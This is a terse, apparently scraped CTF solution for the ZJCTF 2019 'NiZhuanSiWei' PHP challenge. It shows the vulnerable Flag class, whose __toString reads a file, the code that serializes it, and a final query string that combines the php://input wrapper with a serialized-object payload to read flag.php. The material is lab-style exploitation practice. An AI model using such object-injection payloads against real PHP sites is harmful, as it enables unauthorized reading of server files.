[ZJCTF 2019]NiZhuanSiWei
最后更新于
最后更新于
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>class Flag{
public $file="flag.php";
}
$a = new Flag();
echo serialize($a);?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
welcome to the zjctf